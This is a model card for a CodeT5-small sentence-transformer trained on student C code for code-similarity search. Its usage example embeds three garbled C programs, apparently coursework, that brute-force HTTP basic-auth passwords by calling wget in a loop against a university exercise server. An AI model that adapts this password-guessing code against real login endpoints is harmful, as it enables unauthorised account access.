SentenceTransformer based on Salesforce/codet5-small

This is a sentence-transformers model finetuned from Salesforce/codet5-small. It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Type: Sentence Transformer
Base model: Salesforce/codet5-small
Maximum Sequence Length: 512 tokens
Output Dimensionality: 512 dimensions
Similarity Function: Cosine Similarity

Model Sources

Documentation: Sentence Transformers Documentation
Repository: Sentence Transformers on GitHub
Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'T5EncoderModel'})
  (1): Pooling({'word_embedding_dimension': 512, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

Size: 3,081 training samples
Columns: sentence_0, sentence_1, and label
Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label
type string string int
details
min: 187 tokens
mean: 451.04 tokens
max: 512 tokens

min: 187 tokens
mean: 434.1 tokens
max: 512 tokens

0: ~99.20%
1: ~0.80%

	sentence_0	sentence_1	label
type	string	string	int
details	min: 187 tokens mean: 451.04 tokens max: 512 tokens	min: 187 tokens mean: 434.1 tokens max: 512 tokens	0: ~99.20% 1: ~0.80%

Samples:

sentence_0	sentence_1	label
#include #include #include #include #include #define MSG_FILE "msg" #define EMAIL_TO "@cs.rmit.edu." #define TRUE 1 #define FALSE 0 void genLog(char logFile, const char URL); void getPage(const char URL, const char fname); int getCurTime(); int logDiff(const char logFile, int time); int isFileExist(const char fname); void sendMail(const char emailTo, const char subject, const char msgFile , const char log); int (int argc, char *argv) { int time_var; char URL; int upTime = 0; char logFile[256]; int logSent = FALSE; char subject[256]; if (argc != 3) { fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n"); exit(1); } else { time_var = atoi(argv[2]); URL = malloc(strlen(argv[1])); if (URL) { for (;;) { if (((int)difftime(upTime, getCurTime()) % time_var == 0) && !logSent) { strncpy(URL, argv[1], strlen(argv[1])); genLog(logFile, URL); ...	#include #include #include #include #include #include #include char* joinMe(char* t, char* t2) { char* result; int length = 0; int j = 0; int counter = 0; length = strlen(t) + strlen(t2) + 1; result = malloc(sizeof(char) * length); for(j = 0; j { result[j] = t[j]; } for(j = strlen(t); j { result[j] = t2[counter]; counter++; } result[length-1] = '\0'; return result; } void check(char smallcmd) { int pid = 0; int status; if( (pid = fork()) == 0) { execvp(smallcmd[0],smallcmd); } else { while(wait(&status) != pid); } } int (void) { int i = 0, j = 0, k = 0; char smallcmd; int count = 0; FILE myFile,myFile2,myFile3; int compare1; char myString; int length = 0; int start1, end1; myString = malloc(sizeof(char) * 100); smallcmd = malloc(sizeof(char ) 8); smallcmd[0] = "/usr/local//wget"; smallcm...	`0`
#include #include #include #include #include #define MSG_FILE "msg" #define EMAIL_TO "@cs.rmit.edu." #define TRUE 1 #define FALSE 0 void genLog(char logFile, const char URL); void getPage(const char URL, const char fname); int getCurTime(); int logDiff(const char logFile, int time); int isFileExist(const char fname); void sendMail(const char emailTo, const char subject, const char msgFile , const char log); int (int argc, char *argv) { int time_var; char URL; int upTime = 0; char logFile[256]; int logSent = FALSE; char subject[256]; if (argc != 3) { fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n"); exit(1); } else { time_var = atoi(argv[2]); URL = malloc(strlen(argv[1])); if (URL) { for (;;) { if (((int)difftime(upTime, getCurTime()) % time_var == 0) && !logSent) { strncpy(URL, argv[1], strlen(argv[1])); genLog(logFile, URL); ...	#include #include #include #include #include int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(sy...	`0`
`#include #include #include #define TRUE 0 () { FILE fp; system("rmdir ./www.cs.rmit.edu."); char chk[1]; strcpy(chk,"n"); while(1) { system("wget -p http://www.cs.rmit.edu./students/"); system("md5sum ./www.cs.rmit.edu./images/.* > ./www.cs.rmit.edu./text1.txt"); if (strcmp(chk,"n")==0) { system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt"); system("mkdir ./"); system("mv ./www.cs.rmit.edu./students/index.html ./"); } else { system(" diff ./www.cs.rmit.edu./students/index.html .//index.html`	mail @cs.rmit.edu. "); system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt	mail @cs.rmit.edu. "); system("mv ./www.cs.rmit.edu./students/index.html ./"); system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt"); } sleep(86400); strcpy(chk,"y"); } }

Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

per_device_train_batch_size: 16
per_device_eval_batch_size: 16
num_train_epochs: 1
fp16: True
multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand

overwrite_output_dir: False
do_predict: False
eval_strategy: no
prediction_loss_only: True
per_device_train_batch_size: 16
per_device_eval_batch_size: 16
per_gpu_train_batch_size: None
per_gpu_eval_batch_size: None
gradient_accumulation_steps: 1
eval_accumulation_steps: None
torch_empty_cache_steps: None
learning_rate: 5e-05
weight_decay: 0.0
adam_beta1: 0.9
adam_beta2: 0.999
adam_epsilon: 1e-08
max_grad_norm: 1
num_train_epochs: 1
max_steps: -1
lr_scheduler_type: linear
lr_scheduler_kwargs: {}
warmup_ratio: 0.0
warmup_steps: 0
log_level: passive
log_level_replica: warning
log_on_each_node: True
logging_nan_inf_filter: True
save_safetensors: True
save_on_each_node: False
save_only_model: False
restore_callback_states_from_checkpoint: False
no_cuda: False
use_cpu: False
use_mps_device: False
seed: 42
data_seed: None
jit_mode_eval: False
use_ipex: False
bf16: False
fp16: True
fp16_opt_level: O1
half_precision_backend: auto
bf16_full_eval: False
fp16_full_eval: False
tf32: None
local_rank: 0
ddp_backend: None
tpu_num_cores: None
tpu_metrics_debug: False
debug: []
dataloader_drop_last: False
dataloader_num_workers: 0
dataloader_prefetch_factor: None
past_index: -1
disable_tqdm: False
remove_unused_columns: True
label_names: None
load_best_model_at_end: False
ignore_data_skip: False
fsdp: []
fsdp_min_num_params: 0
fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
fsdp_transformer_layer_cls_to_wrap: None
accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
deepspeed: None
label_smoothing_factor: 0.0
optim: adamw_torch
optim_args: None
adafactor: False
group_by_length: False
length_column_name: length
ddp_find_unused_parameters: None
ddp_bucket_cap_mb: None
ddp_broadcast_buffers: False
dataloader_pin_memory: True
dataloader_persistent_workers: False
skip_memory_metrics: True
use_legacy_prediction_loop: False
push_to_hub: False
resume_from_checkpoint: None
hub_model_id: None
hub_strategy: every_save
hub_private_repo: None
hub_always_push: False
gradient_checkpointing: False
gradient_checkpointing_kwargs: None
include_inputs_for_metrics: False
include_for_metrics: []
eval_do_concat_batches: True
fp16_backend: auto
push_to_hub_model_id: None
push_to_hub_organization: None
mp_parameters:
auto_find_batch_size: False
full_determinism: False
torchdynamo: None
ray_scope: last
ddp_timeout: 1800
torch_compile: False
torch_compile_backend: None
torch_compile_mode: None
include_tokens_per_second: False
include_num_input_tokens_seen: False
neftune_noise_alpha: None
optim_target_modules: None
batch_eval_metrics: False
eval_on_start: False
use_liger_kernel: False
eval_use_gather_object: False
average_tokens_across_devices: False
prompts: None
batch_sampler: batch_sampler
multi_dataset_batch_sampler: round_robin
router_mapping: {}
learning_rate_mapping: {}

Framework Versions

Python: 3.11.13
Sentence Transformers: 5.0.0
Transformers: 4.52.4
PyTorch: 2.6.0+cu124
Accelerate: 1.8.1
Datasets: 3.6.0
Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}